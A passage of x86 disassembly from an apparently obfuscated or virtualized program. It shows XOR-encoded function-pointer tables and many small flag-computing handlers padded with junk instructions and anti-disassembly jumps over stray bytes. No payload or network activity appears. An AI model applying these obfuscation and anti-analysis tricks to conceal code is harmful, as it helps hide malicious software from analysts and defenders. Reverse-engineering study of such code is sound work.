xor ecx, dword_4ED2E8
xor ecx, dword_4ED33C
mov dword_4F3AA0, ecx
mov edx, offset sub_49F5DF
xor edx, dword_4ED2E8
xor edx, dword_4ED340
mov dword_4F3AA4, edx
mov eax, offset sub_49C2F1
xor eax, dword_4ED2EC
xor eax, dword_4ED2CC
mov dword_4F3AA8, eax
mov ecx, offset sub_4986BC
xor ecx, dword_4ED2EC
xor ecx, dword_4ED2D0
mov dword_4F3AAC, ecx
mov edx, offset sub_497C2D
xor edx, dword_4ED2EC
xor edx, dword_4ED2D4
mov dword_4F3AB0, edx
mov eax, offset sub_49CF72
xor eax, dword_4ED2EC
xor eax, dword_4ED2D8
mov dword_4F3AB4, eax
mov ecx, offset sub_49910F
xor ecx, dword_4ED2EC
xor ecx, dword_4ED2DC
mov dword_4F3AB8, ecx
mov edx, offset sub_4A1DE4
xor edx, dword_4ED2EC
xor edx, dword_4ED2E0
mov dword_4F3ABC, edx
mov eax, offset sub_497F97
xor eax, dword_4ED2EC
xor eax, dword_4ED2E4
mov dword_4F3AC0, eax
mov ecx, offset sub_495B49
xor ecx, dword_4ED2EC
xor ecx, dword_4ED2E8
mov dword_4F3AC4, ecx
mov edx, offset sub_4A1576
xor edx, dword_4ED2EC
xor edx, dword_4ED2F0
mov dword_4F3AC8, edx
mov eax, offset sub_49EE78
xor eax, dword_4ED2EC
xor eax, dword_4ED2F0
mov dword_4F3ACC, eax
mov ecx, offset sub_49EFD8
xor ecx, dword_4ED2EC
xor ecx, dword_4ED2F4
mov dword_4F3AD0, ecx
mov edx, offset sub_49B525
xor edx, dword_4ED2EC
xor edx, dword_4ED2F8
mov dword_4F3AD4, edx
pop ebp
retn
sub_4965D8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_497C2D proc near ; DATA XREF: sub_4965D8+1570o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DA8
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 7
dec bh
dec bh
dec bh
and bh, 0
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 98h
sub bl, 5
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
sub bl, 0Ch
not bx
bswap eax
not bx
bswap eax
and al, bl
mov eax, eax
pop ebx
neg eax
sbb eax, eax
inc eax
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED3D8
xor ecx, dword_4ED3DC
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_497CB8
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_497CB8: ; CODE XREF: sub_497C2D+80j
mov eax, [ebp+var_8]
push eax
call off_4F1D30
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_497C2D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_497CCC proc near ; DATA XREF: sub_4965D8+1B1o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DC8
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ecx
mov ecx, 40h
mov ecx, 0Ch
not ecx
bswap eax
not ecx
inc ecx
inc ecx
inc ecx
jo short loc_497D05
jl short loc_497D03
loc_497D00: ; CODE XREF: sub_497CCC:loc_497D03j
; sub_497CCC:loc_497D05j
jmp short loc_497D07
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_497D03: ; CODE XREF: sub_497CCC+32j
jz short loc_497D00
loc_497D05: ; CODE XREF: sub_497CCC+30j
jmp short loc_497D00
; ---------------------------------------------------------------------------
loc_497D07: ; CODE XREF: sub_497CCC:loc_497D00j
xor eax, eax
inc ecx
inc ecx
inc ecx
inc ecx
dec ecx
inc ecx
inc cl
inc cl
inc cl
and ecx, 40h
jo short loc_497D21
jl short loc_497D1F
loc_497D1C: ; CODE XREF: sub_497CCC:loc_497D1Fj
; sub_497CCC:loc_497D21j
jmp short loc_497D23
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_497D1F: ; CODE XREF: sub_497CCC+4Ej
jz short loc_497D1C
loc_497D21: ; CODE XREF: sub_497CCC+4Cj
jmp short loc_497D1C
; ---------------------------------------------------------------------------
loc_497D23: ; CODE XREF: sub_497CCC:loc_497D1Cj
inc eax
inc cl
inc cl
add ecx, 0Ah
dec ecx
push edx
mov edx, 4
add ecx, edx
inc ecx
pop edx
pop ecx
mov [ebp+var_C], eax
mov ecx, dword_4ED3F8
xor ecx, dword_4ED3FC
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_497D5A
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_497D5A: ; CODE XREF: sub_497CCC+83j
mov eax, [ebp+var_8]
push eax
call off_4F1D50
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_497CCC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_497D6E proc near ; DATA XREF: sub_4965D8+DD3o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D78
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
push 7Fh
pop ecx
dec ecx
xor ecx, 7Eh
and al, cl
mov bh, 0Fh
and bl, 0
dec bh
jo short loc_497DAE
jl short loc_497DAC
loc_497DA7: ; CODE XREF: sub_497D6E:loc_497DACj
; sub_497D6E:loc_497DAEj
jmp short loc_497DB0
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_497DAC: ; CODE XREF: sub_497D6E+37j
jz short loc_497DA7
loc_497DAE: ; CODE XREF: sub_497D6E+35j
jmp short loc_497DA7
; ---------------------------------------------------------------------------
loc_497DB0: ; CODE XREF: sub_497D6E:loc_497DA7j
sub bh, 6
jo short loc_497DBE
jl short loc_497DBC
loc_497DB7: ; CODE XREF: sub_497D6E:loc_497DBCj
; sub_497D6E:loc_497DBEj
jmp short loc_497DC0
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_497DBC: ; CODE XREF: sub_497D6E+47j
jz short loc_497DB7
loc_497DBE: ; CODE XREF: sub_497D6E+45j
jmp short loc_497DB7
; ---------------------------------------------------------------------------
loc_497DC0: ; CODE XREF: sub_497D6E:loc_497DB7j
and ah, bh
pop ecx
pop ebx
test eax, eax
jz short loc_497DD0
not eax
add eax, 1
stc
jmp short loc_497DD6
; ---------------------------------------------------------------------------
loc_497DD0: ; CODE XREF: sub_497D6E+58j
not eax
add eax, 1
clc
loc_497DD6: ; CODE XREF: sub_497D6E+60j
sbb eax, eax
add eax, 1
mov [ebp+var_C], eax
mov ecx, dword_4ED3A8
xor ecx, dword_4ED3AC
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_497DFE
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_497DFE: ; CODE XREF: sub_497D6E+85j
mov eax, [ebp+var_8]
push eax
call off_4F1D00
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_497D6E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_497E12 proc near ; DATA XREF: sub_4965D8+6D4o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D8C
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ecx
mov ecx, 800h
mov ecx, 0Ch
not ecx
bswap eax
not ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
dec ecx
inc ecx
inc cl
inc cl
inc cl
add ecx, 0Dh
inc cl
inc cl
inc cl
inc cl
inc cl
add ecx, 0Ah
dec ecx
push edx
mov edx, 4
add ecx, edx
inc ecx
pop edx
bswap eax
and eax, ecx
pop ecx
pop edx
test eax, eax
jnz loc_497F5D
mov eax, [ebp+var_4]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 4
dec ch
sub ch, 3
dec ch
and ah, ch
mov cl, 0AEh
sub cl, 2
dec cl
dec cl
sub cl, 6
not al
bswap ecx
not al
bswap ecx
dec cl
dec cl
sub cl, 10h
dec cl
dec cl
add cl, 0Ch
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
sub cl, 10h
sub cl, 1
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
not ecx
bswap eax
not ecx
bswap eax
inc cl
add cl, 2
and al, cl
pop ecx
pop ebx
neg eax
sbb eax, eax
inc eax
mov ecx, eax
push ecx
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 1Fh
pop ebx
jo short loc_497F1C
jl short loc_497F1A
loc_497F15: ; CODE XREF: sub_497E12:loc_497F1Aj
; sub_497E12:loc_497F1Cj
jmp short loc_497F1E
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_497F1A: ; CODE XREF: sub_497E12+101j
jz short loc_497F15
loc_497F1C: ; CODE XREF: sub_497E12+FFj
jmp short loc_497F15
; ---------------------------------------------------------------------------
loc_497F1E: ; CODE XREF: sub_497E12:loc_497F15j
sub bl, 5
dec bl
push eax
dec bl
dec bl
and eax, 41h
dec bl
sub bl, 12h
sub bl, 3
pop eax
dec bl
and al, bl
mov edx, 1500h
dec dh
sub dh, 3
dec dh
sub dh, 7
dec dh
and ah, dh
pop ebx
pop edx
neg eax
sbb eax, eax
inc eax
pop ecx
cmp ecx, eax
jnz short loc_497F5D
and eax, 0
inc eax
jmp short loc_497F60
; ---------------------------------------------------------------------------
loc_497F5D: ; CODE XREF: sub_497E12+69j
; sub_497E12+143j
and eax, 0
loc_497F60: ; CODE XREF: sub_497E12+149j
mov [ebp+var_C], eax
mov ecx, dword_4ED3BC
xor ecx, dword_4ED3C0
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_497F83
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_497F83: ; CODE XREF: sub_497E12+166j
mov eax, [ebp+var_8]
push eax
call off_4F1D14
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_497E12 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_497F97 proc near ; DATA XREF: sub_4965D8+15CBo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D80
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 100h
pop ebx
dec bh
jo short loc_497FCD
jl short loc_497FCB
loc_497FC8: ; CODE XREF: sub_497F97:loc_497FCBj
; sub_497F97:loc_497FCDj
jmp short loc_497FCF
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
loc_497FCB: ; CODE XREF: sub_497F97+2Fj
jz short loc_497FC8
loc_497FCD: ; CODE XREF: sub_497F97+2Dj
jmp short loc_497FC8
; ---------------------------------------------------------------------------
loc_497FCF: ; CODE XREF: sub_497F97:loc_497FC8j
add bh, 0FFh
add bh, 0FFh
add bh, 0FFh
add bh, 0FFh
inc bh
inc bh
inc bh
inc bh
and ah, bh
jo short loc_497FEE
jl short loc_497FEC
loc_497FE9: ; CODE XREF: sub_497F97:loc_497FECj
; sub_497F97:loc_497FEEj
jmp short loc_497FF0
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_497FEC: ; CODE XREF: sub_497F97+50j
jz short loc_497FE9
loc_497FEE: ; CODE XREF: sub_497F97+4Ej
jmp short loc_497FE9
; ---------------------------------------------------------------------------
loc_497FF0: ; CODE XREF: sub_497F97:loc_497FE9j
mov bl, 15h
dec bl
sub bl, 6
dec bl
dec bl
dec bl
sub bl, 1
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
and al, bl
pop ebx
pop edx
test eax, eax
jz short loc_49801C
not eax
add eax, 1
stc
jmp short loc_498022
; ---------------------------------------------------------------------------
loc_49801C: ; CODE XREF: sub_497F97+7Bj
not eax
add eax, 1
clc
loc_498022: ; CODE XREF: sub_497F97+83j
sbb eax, eax
neg eax
neg eax
mov [ebp+var_C], eax
mov ecx, dword_4ED3B0
xor ecx, dword_4ED3B4
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49804B
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49804B: ; CODE XREF: sub_497F97+A9j
mov eax, [ebp+var_8]
push eax
call off_4F1D08
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_497F97 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49805F proc near ; DATA XREF: sub_4965D8+27Do
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Dh
sub ch, 2
sub ch, 20h
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
mov ebx, [ebp+arg_4]
dec esi
dec edi
xor edx, edx
or ebx, edx
jz short loc_4980A3
dec edi
and eax, 0
jmp short loc_4980AA
; ---------------------------------------------------------------------------
loc_4980A3: ; CODE XREF: sub_49805F+3Cj
dec edi
and eax, 0
dec edi
dec edi
inc eax
loc_4980AA: ; CODE XREF: sub_49805F+42j
mov [ebp+var_8], eax
mov eax, dword_4ED3E8
xor eax, dword_4ED3EC
shl eax, 1
mov [ebp+var_4], eax
cmp [ebp+var_8], 0
jz short loc_4980CC
mov ecx, [ebp+var_4]
or ecx, 1
mov [ebp+var_4], ecx
loc_4980CC: ; CODE XREF: sub_49805F+62j
mov edx, [ebp+var_4]
push edx
call off_4F1D40
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49805F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4980E0 proc near ; DATA XREF: sub_4965D8+A04o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DEC
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 1Fh
pop ebx
jo short loc_498113
jl short loc_498111
loc_49810C: ; CODE XREF: sub_4980E0:loc_498111j
; sub_4980E0:loc_498113j
jmp short loc_498115
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_498111: ; CODE XREF: sub_4980E0+2Aj
jz short loc_49810C
loc_498113: ; CODE XREF: sub_4980E0+28j
jmp short loc_49810C
; ---------------------------------------------------------------------------
loc_498115: ; CODE XREF: sub_4980E0:loc_49810Cj
sub bl, 5
dec bl
push eax
dec bl
dec bl
jo short loc_498128
jl short loc_498126
loc_498123: ; CODE XREF: sub_4980E0:loc_498126j
; sub_4980E0:loc_498128j
jmp short loc_49812A
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_498126: ; CODE XREF: sub_4980E0+41j
jz short loc_498123
loc_498128: ; CODE XREF: sub_4980E0+3Fj
jmp short loc_498123
; ---------------------------------------------------------------------------
loc_49812A: ; CODE XREF: sub_4980E0:loc_498123j
and eax, 40h
dec bl
sub bl, 12h
sub bl, 3
pop eax
dec bl
and al, bl
mov edx, 1200h
dec dh
sub dh, 1
dec dh
sub dh, 7
and ah, dh
pop ebx
pop edx
neg eax
sbb eax, eax
neg eax
mov [ebp+var_C], eax
mov ecx, dword_4ED41C
xor ecx, dword_4ED420
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_498176
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_498176: ; CODE XREF: sub_4980E0+8Bj
mov eax, [ebp+var_8]
push eax
call off_4F1D74
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4980E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49818A proc near ; DATA XREF: sub_4965D8+D8Fo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DCC
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
dec edi
inc esi
dec bh
jz short $+2
dec bh
dec bh
dec edi
inc esi
dec bh
and eax, 800h
bswap ecx
jo short $+2
pop eax
bswap ecx
and ah, bh
mov bl, 86h
dec bl
dec bl
dec bl
dec bl
dec edi
inc esi
dec bl
dec bl
dec edi
inc esi
dec bl
dec bl
dec edi
inc esi
sub bl, 1Ah
dec bl
dec edi
inc esi
sub bl, 1Fh
not bx
dec edi
inc esi
bswap eax
not bx
bswap eax
and al, bl
and eax, 0
inc eax
dec edi
inc esi
pop ebx
mov [ebp+var_C], eax
mov ecx, dword_4ED3FC
xor ecx, dword_4ED400
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_498226
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_498226: ; CODE XREF: sub_49818A+91j
mov eax, [ebp+var_8]
push eax
call off_4F1D54
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49818A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49823A proc near ; DATA XREF: sub_4965D8+1F5o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DC8
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 80h
jmp short loc_498263
; ---------------------------------------------------------------------------
mov ebx, 4
loc_498263: ; CODE XREF: sub_49823A+22j
mov ebx, 32h
not ebx
bswap eax
not ebx
inc ebx
inc ebx
add ebx, 8
dec ebx
push ecx
mov ecx, 4
add ebx, ecx
inc ebx
pop ecx
bswap eax
and eax, ebx
pop ebx
neg eax
sbb eax, eax
inc eax
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED3F8
xor ecx, dword_4ED3FC
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4982AC
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4982AC: ; CODE XREF: sub_49823A+67j
mov eax, [ebp+var_8]
push eax
call off_4F1D50
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49823A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4982C0 proc near ; DATA XREF: sub_4965D8+6BDo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DD0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 80h
xchg eax, ecx
mov ecx, 1
xchg eax, ecx
not eax
pop eax
not ecx
pop ecx
push edx
mov dh, 18h
dec dh
dec dh
not ecx
dec dh
dec dh
dec dh
dec dh
bswap eax
dec dh
dec dh
dec edi
sub dh, 3
dec dh
dec edi
dec dh
sub dh, 0Bh
dec edi
bswap eax
jo short loc_498325
jl short loc_498323
loc_498320: ; CODE XREF: sub_4982C0:loc_498323j
; sub_4982C0:loc_498325j
jmp short loc_498327
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_498323: ; CODE XREF: sub_4982C0+5Ej
jz short loc_498320
loc_498325: ; CODE XREF: sub_4982C0+5Cj
jmp short loc_498320
; ---------------------------------------------------------------------------
loc_498327: ; CODE XREF: sub_4982C0:loc_498320j
and ah, dh
mov dl, 9
dec dl
dec dl
dec dl
dec dl
not ecx
dec dl
dec dl
dec dl
dec dl
dec dl
add dl, 5
sub dl, 3
dec dl
jo short loc_498350
jl short loc_49834E
loc_49834B: ; CODE XREF: sub_4982C0:loc_49834Ej
; sub_4982C0:loc_498350j
jmp short loc_498352
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_49834E: ; CODE XREF: sub_4982C0+89j
jz short loc_49834B
loc_498350: ; CODE XREF: sub_4982C0+87j
jmp short loc_49834B
; ---------------------------------------------------------------------------
loc_498352: ; CODE XREF: sub_4982C0:loc_49834Bj
and al, dl
not ah
bswap eax
bswap eax
not ah
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED400
xor ecx, dword_4ED404
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_498380
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_498380: ; CODE XREF: sub_4982C0+B5j
mov eax, [ebp+var_8]
push eax
call off_4F1D58
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4982C0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_498394 proc near ; DATA XREF: sub_4965D8+4CBo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D8C
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, [ebp+arg_4]
mov ebx, 800h
jmp short loc_4983C0
; ---------------------------------------------------------------------------
mov ebx, 80h
loc_4983C0: ; CODE XREF: sub_498394+25j
mov ebx, 70h
not ebx
bswap eax
not ebx
inc ebx
inc ebx
inc ebx
inc ebx
add ebx, 4
inc ebx
inc ebx
inc ebx
inc ebx
dec ebx
push ecx
mov ecx, 4
add ebx, ecx
inc ebx
pop ecx
bswap eax
and eax, ebx
pop ebx
neg eax
sbb eax, eax
inc eax
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED3BC
xor ecx, dword_4ED3C0
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49840F
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49840F: ; CODE XREF: sub_498394+70j
mov eax, [ebp+var_8]
push eax
call off_4F1D14
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_498394 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_498423 proc near ; DATA XREF: sub_4965D8+E2Do
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DE4
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 800h
jmp short loc_49844C
; ---------------------------------------------------------------------------
mov ebx, 80h
loc_49844C: ; CODE XREF: sub_498423+22j
mov ebx, 6Eh
not ebx
bswap eax
not ebx
inc ebx
inc ebx
inc ebx
inc ebx
inc ebx
inc ebx
add ebx, 8
dec ebx
push ecx
mov ecx, 5
add ebx, ecx
pop ecx
bswap eax
and eax, ebx
pop ebx
neg eax
sbb eax, eax
inc eax
pop edx
push eax
mov eax, [ebp+var_4]
mov edx, 0D00h
sub dh, 1
dec dh
dec dh
dec dh
sub dh, 0FFh
dec dh
dec dh
and eax, edx
neg eax
sbb eax, eax
inc eax
mov edx, eax
pop eax
xor ecx, ecx
jo short loc_4984A3
jl short loc_4984A1
loc_49849E: ; CODE XREF: sub_498423:loc_4984A1j
; sub_498423:loc_4984A3j
jmp short loc_4984A5
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_4984A1: ; CODE XREF: sub_498423+79j
jz short loc_49849E
loc_4984A3: ; CODE XREF: sub_498423+77j
jmp short loc_49849E
; ---------------------------------------------------------------------------
loc_4984A5: ; CODE XREF: sub_498423:loc_49849Ej
cmp eax, edx
jo short loc_4984B0
jl short loc_4984AE
loc_4984AB: ; CODE XREF: sub_498423:loc_4984AEj
; sub_498423:loc_4984B0j
jmp short loc_4984B2
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_4984AE: ; CODE XREF: sub_498423+86j
jz short loc_4984AB
loc_4984B0: ; CODE XREF: sub_498423+84j
jmp short loc_4984AB
; ---------------------------------------------------------------------------
loc_4984B2: ; CODE XREF: sub_498423:loc_4984ABj
jnz short loc_4984C4
jo short loc_4984BD
jl short loc_4984BB
loc_4984B8: ; CODE XREF: sub_498423:loc_4984BBj
; sub_498423:loc_4984BDj
jmp short loc_4984BF
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_4984BB: ; CODE XREF: sub_498423+93j
jz short loc_4984B8
loc_4984BD: ; CODE XREF: sub_498423+91j
jmp short loc_4984B8
; ---------------------------------------------------------------------------
loc_4984BF: ; CODE XREF: sub_498423:loc_4984B8j
and eax, 0
jmp short loc_4984D3
; ---------------------------------------------------------------------------
loc_4984C4: ; CODE XREF: sub_498423:loc_4984B2j
and eax, 0
jo short loc_4984D0
jl short loc_4984CE
loc_4984CB: ; CODE XREF: sub_498423:loc_4984CEj
; sub_498423:loc_4984D0j
jmp short loc_4984D2
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_4984CE: ; CODE XREF: sub_498423+A6j
jz short loc_4984CB
loc_4984D0: ; CODE XREF: sub_498423+A4j
jmp short loc_4984CB
; ---------------------------------------------------------------------------
loc_4984D2: ; CODE XREF: sub_498423:loc_4984CBj
inc eax
loc_4984D3: ; CODE XREF: sub_498423+9Fj
mov [ebp+var_C], eax
mov ecx, dword_4ED414
xor ecx, dword_4ED418
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4984F6
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4984F6: ; CODE XREF: sub_498423+C8j
mov eax, [ebp+var_8]
push eax
call off_4F1D6C
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_498423 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49850A proc near ; DATA XREF: sub_4965D8+C0Do
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DE4
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 80h
xchg eax, ecx
mov ecx, 1
xchg eax, ecx
not eax
pop eax
not ecx
pop ecx
push edx
mov dh, 12h
dec dh
dec dh
not ecx
dec dh
dec dh
dec dh
dec dh
bswap eax
dec dh
dec dh
sub dh, 5
dec dh
dec dh
dec dh
dec dh
dec dh
bswap eax
and ah, dh
mov dl, 9
dec dl
dec dl
dec dl
dec dl
not ecx
dec dl
dec dl
dec dl
dec dl
dec dl
add dl, 1
and al, dl
not ah
bswap eax
bswap eax
not ah
pop edx
neg eax
sbb eax, eax
inc eax
mov [ebp+var_C], eax
mov ecx, dword_4ED414
xor ecx, dword_4ED418
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4985B4
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4985B4: ; CODE XREF: sub_49850A+9Fj
mov eax, [ebp+var_8]
push eax
call off_4F1D6C
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49850A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4985C8 proc near ; DATA XREF: sub_4965D8+487o
var_C = dword ptr -0Ch
